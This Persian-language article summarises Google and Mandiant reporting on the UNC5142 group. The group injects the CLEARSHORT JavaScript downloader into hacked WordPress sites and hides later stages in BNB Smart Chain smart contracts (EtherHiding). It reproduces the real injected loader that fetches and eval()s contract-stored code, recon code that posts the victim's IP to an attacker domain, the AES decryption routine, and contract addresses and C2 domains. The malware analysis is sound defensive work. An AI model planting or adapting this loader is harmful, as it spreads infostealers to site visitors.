گوگل اخیرا گزارش هایی منتشر کرده در خصوص دو گروه از بازیگران تهدید با نامهای UNC5142 و UNC5342 که از تکنیک جدیدی بنام EtherHiding برای توزیع بدافزار استفاده میکنن.
هر دو گزارش رو در سایت پوشش دادیم. در این پست میخواییم گزارش فعالیت گروه UNC5142 رو بررسی کنیم. برای دسترسی به گزارش فعالیت UNC5342، میتونید اینجا رو مشاهده کنید.
از اواخر سال ۲۰۲۳، واحد Mandiant Threat Defense و گروه Google Threat Intelligence (GTIG) فعالیتهای گروهی با نام UNC5142 رو رصد کردن. یک بازیگر تهدید با انگیزه مالی که از بلاکچین برای توزیع بدافزارهای سارق اطلاعات (Infostealer) سوء استفاده میکنه. گروه UNC5142 بدلیل هک سایتهای وردپرسی و استفاده از تکنیکی بنام EtherHiding که از بلاکچین های عمومی مانند BNB Smart Chain برای مخفی کردن کد یا داده مخرب استفاده میکنن، معروف هستن.
از اواخر سال ۲۰۲۳، گروه UNC5142 تاکتیکها، تکنیکها و روشهای اجرایی (TTPs) خودش رو به شکل قابل توجهی تکامل داده تا امنیت عملیاتی (OPSEC) خودش رو افزایش بده و از شناسایی شدن دور بمونه. نکته ی مهم اینکه، از اواخر جولای ۲۰۲۵ تاکنون، فعالیتی از UNC5142 مشاهده نشده. موضوعی که میتونه نشان دهنده ی تغییر در روشهای عملیاتی این گروه یا توقف موقت فعالیتهای اونا باشه.
به نظر میرسه UNC5142 بطور غیر هدفمند و گسترده به سایتهای آسیبپذیر وردپرس حمله میکنه و در نتیجه، کمپین وسیع و فرصت طلبانه ای رو در صنایع و مناطق جغرافیایی مختلف رقم زده. تا ژوئن ۲۰۲۵، گروه GTIG حدود ۱۴٬۰۰۰ صفحه وب آلوده به جاوااسکریپت تزریق شده، شناسایی کرده که با الگوی آلودگی UNC5142 مطابقت داشتن. در این کمپین ها بدافزارهای سارق اطلاعاتی از جمله ATOMIC، VIDAR، LUMMAC.V2 و RADTHIEF مشاهده شدن. با این حال، GTIG این پیلود های نهایی رو مستقیما به UNC5142 نسبت نمیده، چون احتمال داره این پیلودها از طرف گروههای تهدید دیگه توزیع شده باشن. این گزارش بطور کامل زنجیره ی آلودگی UNC5142 رو تشریح کرده، استفاده ی جدید اونا از قراردادهای هوشمند برای زیرساخت عملیاتی رو تحلیل کرده و تکامل TTPهای این گروه رو بر اساس مشاهدات مستقیم Mandiant Threat Defense مورد بررسی قرار داده.
نمای کلی حملات UNC5142:
زنجیره ی آلودگی UNC5142 معمولا شامل اجزا و تکنیکهای کلیدی زیر هستش:
- CLEARSHORT: یک دانلودر چند مرحلهای جاوااسکریپت، که توزیع پیلودها رو تسهیل میکنه.
- سایتهای وردپرس آلوده: سایتهایی که نسخه های آسیبپذیر وردپرس رو اجرا میکنن یا از افزونهها/قالبهای آسیبپذیر استفاده میکنن.
- قراردادهای هوشمند (Smart Contracts): قراردادهای خودکار ذخیره شده در بلاکچین BNB Smart Chain (BSC).
- EtherHiding: تکنیکی برای مخفی کردن کد یا داده ی مخرب از طریق قرار دادن اون در بلاکچین عمومی. گروه UNC5142 به شدت به BNB Smart Chain متکی هستش تا اجزای مخرب خودش رو در قالب قراردادهای هوشمند ذخیره کنه، و همین موضوع باعث میشه ابزارهای امنیتی سنتی سایتها، نتونن این کدهای مخرب رو به راحتی شناسایی یا مسدود کنن.

CLEARSHORT
CLEARSHORT یک دانلودر چند مرحلهای (multistage) نوشته شده با جاوااسکریپت هستش که برای تسهیل توزیع بدافزار بکار میره.
مرحله ی اول شامل یک پیلود جاوااسکریپتی هستش که در سایتهای آسیبپذیر وردپرسی تزریق میشه و طراحی شده تا پیلود مرحله ی دوم رو از یک قرارداد هوشمند مخرب بدست بیاره. وظیفه ی قرار داد هوشمند این هستش که مرحله ی بعدی، یعنی صفحه ی لندینگ CLEARSHORT رو از یک سرور خارجی که تحت کنترل هکرهاست، دریافت کنه. این صفحه از تکنیکی به نام ClickFix استفاده میکنه. ClickFix یک روش مهندسی اجتماعی رایج هستش که هدفش فریب دادن قربانیان برای اجرای دستورات از طریق پنجره RUN و بصورت محلی در ویندوز هستش.
CLEARSHORT تکامل یافته ی دانلودر CLEARFAKE هستش که گروه UNC5142 قبلا از اواخر ۲۰۲۳ تا اواسط ۲۰۲۴ در عملیاتهای خودش استفاده میکرد. CLEARFAKE یک فریمورک جاوااسکریپت مخرب بود که خودش رو بصورت اعلان بروزرسانی مرورگر Google Chrome جا میزد. عملکرد اصلی جاوااسکریپتی که داخلش بود، این بود که پس از کلیک کاربر روی دکمه ی Update Chrome، یک پیلود رو دانلود کنه. پیلود مرحله ی دوم در قالب یک کد جاوااسکریپتی که با Base64 رمز و در یک قرارداد هوشمند که در BNB Smart Chain مستقر بود، نگهداری میشد.
سایتهای وردپرسی آلوده:
حمله از طریق نفوذ به یک سایت آسیبپذیر وردپرسی شروع میشه، که برای کسب دسترسی غیرمجاز، مورد اکسپلویت قرار میگیره. UNC5142 کد جاوااسکریپت مخرب (مرحله ی اول CLEARSHORT) رو در یکی از سه مکان زیر تزریق میکنه:
- دایرکتوری پلاگین ها: تغییر فایلهای پلاگین موجود یا افزودن فایلهای مخرب جدید
- فایلهای قالب: تغییر فایلهای قالب (مانند header.php، footer.php یا index.php) برای درج اسکریپت مخرب
- دیتابیس: در برخی موارد، کد مخرب مستقیما به دیتابیس وردپرس تزریق میشه.
قرارداد هوشمند:
قراردادهای هوشمند برنامههایی هستن که روی یک بلاکچین مانند BNB Smart Chain (BSC) ذخیره میشن و زمانیکه یک محرک مانند شرایط یا اتفاق افتادن موردی، رخ بده بصورت خودکار اجرا میشن. هرچند این محرکها میتونن پیچیده باشن، CLEARSHORT از روشی سادهتر استفاده میکنه، یعنی فراخوانی تابعی که به قرارداد هوشمند میگه اجرا بشه و یک داده ی از پیش ذخیره شده رو برگردونه.
قراردادهای هوشمند چند مزیت برای بازیگران تهدید فراهم میکنن، از جمله:
- مبهم کردن (Obfuscation): ذخیره ی کد مخرب درون قرارداد هوشمند، تشخیص اونو با ابزارهای سنتی امنیت وب که محتوای سایت رو اسکن میکنن، دشوارتر میکنه.
- تغییرپذیری (و چابکی): هرچند قراردادهای هوشمند ذاتا غیرقابل تغییر هستن، مهاجمان از یک تکنیک هوشمندانه برای تغییر استفاده میکنن. اونا یک قرارداد هوشمند سطح اول مستقر میکنن که اشاره گری به یک قرارداد هوشمند سطح دوم داره. قرارداد سطح اول بعنوان یک نقطه ی ورود پایدار عمل میکنه که آدرس اون روی سایت آلوده تغییر نمیکنه. این قرارداد سطح اول، جاوااسکریپت تزریق شده رو هدایت میکنه تا کد رو از قرارداد سطح دوم فراخوانی کنه و این به مهاجمان امکان میده مسیر فراخوانی رو بدون دستکاری سایت آلوده، تغییر بدن.
- تاب آوری(Resilience): بکارگیری فناوری بلاکچین برای بخش بزرگی از زیرساخت و عملیات UNC5142، تابآوری اونارو در مقابل تلاشهای کشف و از کار انداختنشون، افزایش میده. مکانیزمهای محافظتی مبتنی بر شبکه برای ترافیک Web3، نسبت به ترافیک وب سنتی سخت تر پیاده سازی میشن، چون از URLهای سنتی استفاده ی کمتری میشه. عملیات توقیف و حذف هم بخاطر غیر قابل تغییر بودن بلاکچین پیچیدهتر میشه. این موضوع در ادامه ی گزارش بیشتر توضیح داده شده.
- استفاده از زیرساخت مشروع: BNB Smart Chain یک پلتفرم مشروع هستش. استفاده از اون میتونه به ترکیب شدن ترافیک مخرب با فعالیت عادی کمک کنه تا از شناسایی در امان باشن.
تعامل با قرارداد هوشمند:
مرحله ی اول CLEARSHORT از Web3.js استفاده میکنه. مجموعهای از کتابخانه ها که اجازه ی تعامل با گره های اتریوم رو از طریق HTTP، IPC یا WebSocket میدن. معمولا برای اتصال به BNB Smart Chain از یک نود عمومی مانند bsc-dataseed.binance[.]org استفاده میشه.
کد مرحله ی اول شامل دستورالعملهایی برای تعامل با آدرسهای قرارداد هوشمند مشخص هستش و توابعی رو که در رابط باینری برنامه (Application Binary Interface — ABI) قرارداد تعریف شدن، فراخوانی میکنه. این توابع پیلودها رو برمیگردونن، از جمله URLهایی که به صفحه ی لندینگ CLEARSHORT اشاره دارن، صفحه ای که در مرورگر دیکد و اجرا میشه و یک پیام خطای جعلی به قربانی نمایش میده. قالب و طعمه ی این پیام خطا، در طول زمان تغییر کرده، اما هدف همواره فریب قربانی برای اجرای یک دستور مخرب از طریق پنجره ی Run بوده. دستور اجرا شده در نهایت منجر به دانلود و اجرای پیلود زیر میشه که اغلب یک سارق اطلاعات هستش.
ABI یک توصیف نامه ی استاندارد (معمولا در قالب JSON) هستش که مشخص میکنه یک قرارداد هوشمند چه توابعی داره، هر تابع چه نام، پارامتر و نوع بازگشتی داره، و رویدادها چه امضا و پارامترهایی دارن. بعبارت دیگه ABI قراردادی بین بایتکد اجرا شده در ماشین مجازی اتریوم (EVM) و کدهای سطح بالاتر (مثل dAppها یا کتابخانههایی مثل Web3.js) هستش که نحوه ی انکد ورودیها و دیکد خروجیها رو تعریف میکنه.
ماشین مجازی اتریوم (Ethereum Virtual Machine — EVM) یک محیط اجرایی ایزوله و قدرتمند هستش که کدهای قراردادهای هوشمند رو اجرا میکنه. میشه اونو بصورت یک کامپیوتر بزرگ در نظر گرفت که وضعیت شبکه (حسابها، موجودیها و ذخیره ی قراردادها) رو نگهداری و با دریافت تراکنشها، اونارو تغییر میده.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
// Load libraries from public CDNs to intereact with blockchain and decode payloads. <script src="https://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/pako/2.0.4/pako.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/crypto-js@4.1.1/crypto-js.min.js"></script> <script> console.log('Start moving...'); // The main malicious logic starts executing once the webpage's DOM is fully loaded.1st document.addEventListener('DOMContentLoaded', async () => { try { // Establishes a connection to the BNB Smart Chain via a public RPC node. const web3 = new Web3('https://bsc-dataseed.binance.org/'); // Creates an object to interact with the 1st-Level Smart Contract. const contract = new web3.eth.Contract([ { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" }, { "inputs": [], "name": "orchidABI", // Returns 2nd contract ABI "outputs": [{ "internalType": "string", "name": "", "type": "string" }], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "orchidAddress",// Returns 2nd contract address "outputs": [{ "internalType": "string", "name": "", "type": "string" }], "stateMutability": "view", "type": "function" }, ], '0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53'); // Hardcoded address of the 1st-Level Contract. // ABI is Base64 decoded and then decompressed to get clean ABI. const orchidABI = JSON.parse(pako.ungzip(Uint8Array.from(atob(await contract.methods.orchidABI().call()), c => c.charCodeAt(0)), { to: 'string' })); // Calls the 'orchidAddress' function to get the address of the 2nd-Level Contract. const orchidAddress = await contract.methods.orchidAddress().call(); // New contract object created to represent 2nd-level contract. const orchid = new web3.eth.Contract(orchidABI, orchidAddress); const decompressedScript = pako.ungzip(Uint8Array.from(atob(await orchid.methods.tokyoSkytree().call()), c => c.charCodeAt(0)), { to: 'string' }); eval(`(async () => { ${decompressedScript} })().then(() => { console.log('Moved.'); }).catch(console.error);`); } catch (error) { console.error('Road unavaible:', error); } }); </script> |
وقتی کاربر از یک صفحه ی وب آلوده بازدید میکنه، جاوااسکریپت تزریق شده در مرورگر اجرا میشه و مجموعهای از ارتباطات رو با یک یا چند قرارداد هوشمند BNB آغاز میکنه که در نتیجه منجر به بازیابی و رندر صفحه ی لندینگCLEARSHORT (مرحله ی ۲) میشه که در شکل زیر مشاهده میکنید.

EtherHiding:
یک عنصر کلیدی در عملیات UNC5142، استفاده ی اونا از تکنیک EtherHiding هستش. بجای قرار دادن کل زنجیره ی حمله درون سایت آلوده، اونا اجزای مخرب رو در BNB Smart Chain ذخیره میکنن و از قراردادهای هوشمند بعنوان یک پشتیبان داینامیک و کنترل بک اند، استفاده میکنن. عملیات درون زنجیره بلاکچین، توسط یک یا چند کیف پول کنترل شده توسط بازیگر مدیریت میشه. این اکانتهای مالکیت خارجی (EOA) برای موارد زیر بکار میرن: [ Externally Owned Account (EOA)= نوعی اکانت در شبکه اتریوم که توسط یک شخص با استفاده از کلید خصوصی کنترل میشه. بعبارت دیگه، این اکانتی که شما برای ارسال تراکنشها یا مدیریت اتر (ETH) خودتون ازش استفاده میکنید. برخلاف اکانتهای قرارداد هوشمند که صرفا توسط کد، کنترل میشن، EOAها مستقیما توسط افراد مدیریت میشن.]
- مستقر کردن قراردادهای هوشمند و برقرار کردن پایه ی زنجیره ی حمله
- تأمین BNB لازم برای پرداخت هزینههای شبکه برای اعمال تغییرات در زیرساخت حمله
- بروزرسانی اشارهگرها و دادههای درون قراردادها، مانند تغییر آدرس قراردادِ مرحله ی بعد یا تغییر کلیدهای رمزگشایی پیلود.
شکل زیر معماری EtherHiding روی BNB Smart Chain رو نشون میده.

تکامل TTPهای UNC5142:
در یک سال گذشته، Mandiant Threat Defense و GTIG تغییرات مداوم و قابل توجهی رو در TTPهای UNC5142 مشاهده کردن. کمپینهای اونا از یک سیستم تک قراردادی به معماری سه سطحی قرارداد هوشمندِ بسیار پیچیده تری که از اواخر ۲۰۲۴ امکانپذیر شده و رویکرد چند مرحلهای و پویا رو ممکن میکنه، پیش رفته. این تکامل با چند تغییر کلیدی مشخص میشه:
- پذیرش سیستم سه سطحی قرارداد هوشمند برای تحویل پویای پیلود
- سوء استفاده از خدمات مشروع مانند Cloudflare Pages برای میزبانی طعمه های مخرب
- تغییر از رمزگذاری ساده ی Base64 به رمزنگاری AES.
بازیگر بطور مداوم طعمه های مهندسی اجتماعی خودش رو تصحیح کرده و زیرساخت خودش رو گسترش داده، و گاهی مجموعه های موازی قراردادهای هوشمند رو برای افزایش مقیاس و تاب آوری کمپین های خودش راه اندازی کرده.
| بازه زمانی | تغییرات کلیدی | میزبانی و زیرساخت | انکد و رمزنگاری | طعمه ها و پیلودهای قابل توجه |
|---|---|---|---|---|
| مه 2024 | سیستم تک قراردادی | استفاده از پسوند shop برای طعمه ها و C2 | Base64 | طعمه های جعلی بروزرسانی کروم |
| نوامبر 2024 | معرفی سیستم سه قراردادی | سوء استفاده از Cloudflare Pages (*.pages.dev) برای میزبانی صفحات طعمه. استفاده از دامنه هایی با پسوند shop/icu برای ریکان | AES-GCM + Base64 | استفاده از سرور STUN برای کشف IP قربانی |
| ژانویه 2025 | بهینه سازی سیستم سه قراردادی | سوء استفاده از Cloudflare Pages (*.pages.dev) برای میزبانی صفحات طعمه. | AES-GCM + Base64 | طعمه های جدید: reCAPTCHA جعلی، توافق نامه های حریم خصوصی. پیلودها: ATOMIC (macOS)، VIDAR |
| فوریه 2025 | استقرار زیرساخت ثانویه. URL پیلودها در قرار داد هوشمند ذخیره میشه. | استفاده ی گسترده تر از Cloudflare Pages و دامنه های جدید برای پیلودها | AES-GCM + Base64 | طعمه ی جدید: خطای Cloudflare .Unusual Web Traffic بررسی ریکان مبتنی بر STUN، حذف و با رهگیری مبتنی بر کوکی جایگزین شد |
| مارس 2025 | استفاده ی فعال از هر دو زیرساخت اصلی و ثانویه | میزبانی پیلود در MediaFire و GitHub | AES-GCM + Base64 | بررسیهای POST مرحلهای، برای دنبال کردن تعامل قربانی. پیلودها: RADTHIEF، LUMMAC.V2 |
| مه 2025 | بهینه سازی طعمه ها و نحوه ی تحویل پیلودها | Cloudflare Pages برای طعمه ها، و پسوندهای مختلف دامنه برای پیلودها | AES-GCM + Base64 | طعمه ی جدید: تأیید ضد بات / Anti-Bot Verification، برای ویندوز و macOS |
سوء استفاده از Cloudflare Pages:
در اواخر ۲۰۲۴، UNC5142 به استفاده از سرویس Cloudflare Pages (*.pages.dev) برای میزبانی صفحات لندینگ خودش تغییر روش داده. قبلا از دامنه هایی با پسوند shop. استفاده میکردن.
Cloudflare Pages یک سرویس قانونی هستش که توسط Cloudflare نگهداری میشه و مکانیزمی سریع برای راه اندازی یک سایت آنلاین رو فراهم میکنه و از شبکه ی Cloudflare استفاده میکنه تا لود سریع صفحات رو تضمین کنه. این صفحات چند مزیت فراهم میکنن:
- چون Cloudflare یک شرکت مورد اعتماد هستش، صفحات میزبانی شده خیلی سریع مسدود نمیشن.
- برای مهاجم ساده هستش که در صورت حذف شدن صفحات قدیمی، صفحات جدیدی به سرعت بسازه.
سیستم با سه سطح از قرارداد هوشمند:
بزرگترین تغییر، انتقال از سیستم تک قراردادی به سیستمی با سه سطح قرارداد هوشمند هستش. این معماری جدید از یک الگوی طراحی نرمافزاری قانونی بنام Proxy Pattern گرفته شده که توسعه دهندگان برای قابل ارتقاء کردن قراردادهای خودشون ازش استفاده میکنن. یک پراکسی پایدار و غیر قابل تغییر، فراخوانها رو به قرارداد سطح دوم جداگانهای ارجاع میده که قابل تغییر هستش تا باگها اصلاح یا قابلیتهای جدیدی افزوده بشن. این چیدمان مانند یک معماری کارآمد Router-Logic-Storage عمل میکنه که در اون هر قرارداد نقش مشخصی داره. این طراحی اجازه میده بخشهای حیاتی حمله مانند URL صفحه ی لندینگ یا کلید رمزگشایی به سرعت بروزرسانی بشن، بدون نیاز به تغییر جاوااسکریپت روی سایتهای آلوده. در نتیجه، کمپین بسیار چابک تر و تاب آورتر در برابر عملیاتهای توقیف میشه.
Proxy Pattern در قراردادهای هوشمند اتریوم و BNB Chain، الگویی هستش برای قابل بروزرسانی کردن قراردادها. در این الگو، بجای اینکه کاربر مستقیما با قرارداد اصلی تعامل کنه، با یک قرارداد واسطه (Proxy Contract) صحبت میکنه. این قرارداد، درخواستها رو به قرارداد منطق (Logic Contract یا Implementation Contract) هدایت میکنه. این الگو معمولا از سه لایه تشکیل میشه:
- Proxy Contract: آدرس ثابتی داره و همیشه در بلاکچین هستش. تمام کاربران با این قرارداد در ارتباطاند.خودش فقط درخواستها رو به قرارداد منطق واقعی فوروارد میکنه (معمولاً با دستور delegatecall).
- Logic / Implementation Contract (قرارداد منطق): شامل کد واقعی برنامه و توابع قرارداد هستش. اگه بخواید کد رو بروزرسانی کنید، تنها کافیه، این قرارداد رو جایگزین کنید.
- Admin / Controller Contract (قرارداد مدیریت): فقط ادمین میتونه از طریق اون، آدرس Logic Contract رو در Proxy تغییر بده.
این روش اینجوری کار میکنه که وقتی کاربر تابعی از قرارداد رو فراخوانی میکنه:
- فراخوانی به Proxy فرستاده میشه.
- Proxy درخواست رو با delegatecall به Logic Contract منتقل میکنه.
- delegatecall باعث میشه، کد Logic در حافظه و storage خود Proxy اجرا بشه (یعنی دادهها در Proxy ذخیره میشن، نه در Logic).
- نتیجه به کاربر برگردونده بشه.
برای همین بهش Router-Logic-Storage میگن.
۱) فراخوان اولیه به قرارداد سطح اول: آلودگی زمانی شروع میشه که جاوااسکریپت تزریق شده به یک سایت آلوده، یک eth_call به قرارداد هوشمند سطح اول انجام میده (مثلا 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53). عملکرد اصلی این قرارداد به عنوان یک روتر هستش. وظیفه ی اون فراهم کردن آدرس و Application Binary Interface (ABI) برای مرحله ی بعد هستش تا مهاجم، در اغلب موارد، نیازی به بروزرسانی اسکریپت در سراسر شبکه ی سایتهای آلوده نداشته باشه. داده ی ABI در قالبی فشرده و بصورت base64 برگردونده میشه، که اسکریپت اون رو، با ()atob دیکد کرده و بعدش با pako.unzip از حالت فشرده خارج میکنه تا داده ی ABI درست بدست بیاد.
۲) شناسایی قربانی از طریق قرارداد سطح دوم: جاوااسکریپت تزریق شده، به قرارداد هوشمند سطح دوم متصل میشه (مثلا 0x8FBA1667BEF5EdA433928b220886A830488549BD). این قرارداد نقش منطق حمله رو داره و شامل کدی برای انجام عملیات ریکان هستش. شکل زیر نشون دهنده ی نمونهای از محتوای تراکنشهای قرارداد هوشمند سطح دوم هستش.

کد زیر، کد ریکانِ دیکد شده یِ ذخیره شده در تراکنش قرارداد هوشمند سطح دوم رو نشون میده:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
//Example of code retrieved from the second-level smart contract (IP check and STUN) if (await new Promise(r => { let a = new RTCPeerConnection({ iceServers: [{ urls: "stun:stun.l.google.com:19302" }] }); a.createDataChannel(""); a.onicecandidate = e => { let ip = e?.candidate?.candidate?.match(/\d+\.\d+\.\d+\.\d+/)?.[0]; if (ip) { fetch('https://saaadnesss[.]shop/check', { // Or lapkimeow[.]icu/check method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ ip, domain: location.hostname }) }).then(r => r.json()).then(data => r(data.status)); a.onicecandidate = null; } }; a.createOffer().then(o => a.setLocalDescription(o)); }) === "Decline") { console.warn("Execution stopped: Declined by server"); } else { await teaCeremony(await orchid.methods.shibuyaCrossing().call(), 2); await teaCeremony(await orchid.methods.akihabaraLights().call(), 3); await teaCeremony(await orchid.methods.ginzaLuxury().call(), 4); await teaCeremony(await orchid.methods.asakusaTemple().call(), 5); } |
این قرارداد، مجموعهای از عملیات eth_call رو اجرا میکنه تا توابع مشخصی رو فراخوانی و محیط قربانی رو شناسایی کنه:
- teaCeremony (0x9f7a7126): در ابتدا بعنوان روشی برای اجرای داینامیک کد و نمایش صفحه استفاده میشد. بعدها برای افزودن و حذف بررسیهای POST مورد استفاده قرار گرفت.
- shibuyaCrossing (0x1ba79aa2): مسئول شناسایی پلتفرم یا سیستم عامل قربانی هستش و مقادیر OS/platform به مرور زمان به اون اضافه شد.
- asakusaTemple (0xa76e7648): در ابتدا بعنوان جایگزینی برای نمایش console log بود که بعدها به یک Beacon برای رهگیری مراحل تعامل کاربر تبدیل شد، که مقادیر User-Agent رو ارسال میکرد.
- ginzaLuxury (0xa98b06d3): مسئول بازیابی کد برای یافتن، واکشی، رمزگشایی و در نهایت نمایش طعمه ی مخرب به کاربر هستش.
قابلیتهای مربوط به بررسیهای C2 درون قراردادها هم به مرور زمان تکامل یافتن:
- اواخر ۲۰۲۴: اسکریپت از یک سرور STUN (stun:stun.l.google.com:19302) برای بدست آوردن آدرس IP قربانی استفاده میکرد و اونو به دامنهای مانند saaadnesss[.]shop یا lapkimeow[.]icu/check ارسال میکرد. STUN مخفف Session Traversal Utilities for NAT هستش، یک پروتکل ساده که به یک کلاینت (مثلا مرورگر یا برنامه VoIP) کمک میکنه آدرس عمومی (Public IP) و پورت قابل مشاهده در پشت یک NAT رو بدست بیاره. سرور STUN یک سرور عمومی هستش که به درخواستهای Binding Request پاسخ میده و در پاسخ، آدرسی رو که از طرف کلاینت دیده میشه رو (source IP:port) بر میگردونه.
- فوریه ۲۰۲۵: بررسی مبتنی بر STUN و ارسال POST حذف شد و جایگزینش مکانیزم ردیابی مبتنی بر کوکی (data-ai-collecting) درون تابع teaCeremony (0x9f7a7126) شد.
- آوریل ۲۰۲۵: مکانیزم بررسی دوباره معرفی و بهتر شد. تابع asakusaTemple (0xa76e7648) اصلاح شد تا درخواستهای POST مرحلهای رو به دامنه ی ratatui[.]today ارسال کنه و در هر مرحله از تعامل، طعمه ی Beacon بفرسته تا پیشرفت قربانی رو دنبال کنه.
۳) میزبانی URL طعمه و پیلود در قرارداد سطحسوم: پس از اینکه قربانی شناسایی شد، منطق موجود در قرارداد سطح دوم، با قرارداد هوشمند سطح سوم (مثلا 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA) تعامل میکنه. این قرارداد سوم، نقش یک مخزن پیکربندی رو داره. معمولا شامل URL میزبانی پیلود انکد شده ی CLEARSHORT، کلید AES برای رمزگشایی صفحه و URL میزبانی پیلود مرحله ی دوم هستش. با جدا کردن منطق ثابت (سطح دوم) از پیکربندی پویا (سطح سوم)، UNC5142 میتونه به سرعت دامنهها رو تغییر بده، طعمهها رو بروز کنه و کلیدهای رمزگشایی رو با یک تراکنش ارزان به قرارداد سطح سوم خودش، تغییر بده، تا مطمئن بشه کمپین اونا در برابر عملیاتهای حذف/توقیف همچنان مؤثر باقی میمونن.
چطوری یک قرارداد غیر قابل تغییر، میتونه بروزرسانی بشه؟
سؤال کلیدی این هستش که مهاجمان چطوری میتونن چیزی رو بروزرسانی کنن، در حالیکه ذاتا غیر قابل تغییر هستش. پاسخ در تمایز بین کد قرارداد هوشمند و دادههای اون نهفته هستش.
- کد غیر قابل تغییر: وقتی یک قرارداد هوشمند مستقر میشه، کد برنامه ی اون ثابت هستش و هرگز قابل تغییر نیست. این بخش همان چیزی است که اعتماد و قابلیت اتکا در بلاکچین رو فراهم میکنه.
- داده ی قابل تغییر: با این حال، یک قرارداد میتونه داده ذخیره کنه، مشابه یک برنامه که از یک دیتابیس استفاده میکنه. کد غیر قابل تغییر قرارداد، میتونه شامل توابعی باشه که برای تغییر این داده ی ذخیره شده طراحی شدن.
UNC5142 از این قابلیت سوء استفاده میکنه. قراردادهای اونا با توابع مدیریتی ویژهای ساخته شدن. برای تغییر URL یک پیلود، بازیگر از کیف پول تحت کنترل خودش یک تراکنش ارسال میکنه که یکی از این توابع رو فراخوانی میکنه و URL جدید رو به اون میده. کد غیرقابل تغییر قرارداد اجرا میشه، این اطلاعات جدید رو دریافت کرده و URL قدیمی رو در حافظه ی قرارداد بازنویسی میکنه. از اون به بعد، هر اسکریپت مخربی که قرارداد رو فراخوانی کنه بطور خودکار آدرس جدید و بروز شده رو دریافت میکنه. برنامه ی قرارداد دست نخورده میمونه، اما پیکربندی اون کاملا تغییر کرده.
تحلیل تراکنشها نشان میده که یک بروزرسانی معمولی، مانند تغییر URL طعمه یا کلید رمزگشایی در قرارداد سطح سوم، برای بازیگر بین ۰.۲۵ تا ۱.۵۰ دلار آمریکا هزینه ی کارمزد شبکه داره. پس از هزینه ی یک بار استقرار قراردادهای هوشمند، تأمین اولیه ی کیف پول اپراتور برای پوشش چند صد بروزرسانی از این دست کافی هستش. این هزینه ی عملیاتی پایین، عامل مهمی در امکانپذیر ساختن کمپین های تاب آور و گسترده اوناست، که به هکرها اجازه میده با هزینه ی کم و سرعت بالا به عملیات حذف/توقیف واکنش نشان بدن.
CLEARSHORT رمزنگاری شده با AES
در دسامبر ۲۰۲۴، UNC5142 رمزنگاری AES رو برای صفحه ی لندینگ CLEARSHORT معرفی کرد و از استفاده ی پیلودهای کد شده با Base64 که قبلا بکار میرفتن، فاصله گرفت. این تغییر نه تنها کارایی برخی تلاشهای شناسایی رو کاهش میده، بلکه تحلیل پیلود رو برای محققین امنیتی دشوارتر میکنه. صفحه ی لندینگ CLEARSHORT رمزنگاری شده معمولا روی یک صفحه ی Cloudflare با پسوند dev. میزبانی میشه. تابعی که صفحه ی لندینگ رمزنگاریشده ی AES رو رمزگشایی میکنه از بردار مقداردهی اولیه (IV) استفاده میکنه که از قرارداد سطح سوم بازیابی میشه. رمزگشایی در سمت کلاینت، یعنی در مرورگر قربانی، انجام میشه.
شکل زیر کلید AES ذخیره شده در قرارداد هوشمند رو نشون میده:

کد زیر منطق رمزگشایی رو نشون میده:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
// Simplified example of the decryption logic async function decryptScrollToText(encryptedBase64, keyBase64) { const key = Uint8Array.from(atob(keyBase64), c => c.charCodeAt(0)); const combinedData = Uint8Array.from(atob(encryptedBase64), c => c.charCodeAt(0)); const iv = combinedData.slice(0, 12); // IV is the first 12 bytes const encryptedData = combinedData.slice(12); const cryptoKey = await crypto.subtle.importKey( "raw", key, "AES-GCM", false, ["decrypt"] ); const decryptedArrayBuffer = await crypto.subtle.decrypt( { name: "AES-GCM", iv }, cryptoKey, encryptedData ); return new TextDecoder().decode(decryptedArrayBuffer); } // ... (Code to fetch encrypted HTML and key from the third-level contract) ... if (cherryBlossomHTML) { // cherryBlossomHTML contains the encrypted landing page try { let sakuraKey = await JadeContract.methods.pearlTower().call(); // Get the AES key const decryptedHTML = await decryptScrollToText(cherryBlossomHTML, sakuraKey); // ... (Display the decrypted HTML in an iframe) ... } catch (error) { return; } } |
قالبها و طعمههای UNC5142:
CLEARSHORT از طعمه های متنوعی برای صفحه ی لندینگ خودش استفاده کرده و اونارو در طول زمان تکامل داده:
- ژانویه ی ۲۰۲۵: طعمه ها شامل توافقنامه های جعلی حریم خصوصی (Data Privacy) و reCAPTCHA جعلی بودن.
- مارس ۲۰۲۵: خوشه ی تهدید از طعمه ای استفاده کرد که خطای وب IP مربوط به Cloudflare رو شبیه سازی میکرد.

- مه ۲۰۲۵: یک طعمه ی ضدبات (Anti-Bot) مشاهده شد که نمونه ی دیگه ای از مرحله ی تأیید جعلی رو ارائه میداد. (تکنیک ClickFix)

آنالیز فعالیت درون زنجیره ی بلاکچین:
آنالیز انجام شده توسط Mandiant Threat Defense از فعالیتهای درون زنجیرهای گروه UNC5142 در زنجیره هوشمند BNB (BNB Smart Chain) نشان دهنده ی یک استراتژی عملیاتی شفاف و در حال تکامل هستش. تایم لاین تراکنشهای بلاکچین نشان میده که این گروه از دو مجموعه زیرساخت قرارداد هوشمند مجزا استفاده کردن که توسط Google Threat Intelligence Group (GTIG) به عنوان زیرساختهای اصلی (Main) و ثانویه (Secondary) ردیابی میشن. هر دو زیرساخت هدف نهایی یکسانی یعنی توزیع بدافزار از طریق دانلودر CLEARSHORT رو دارن.
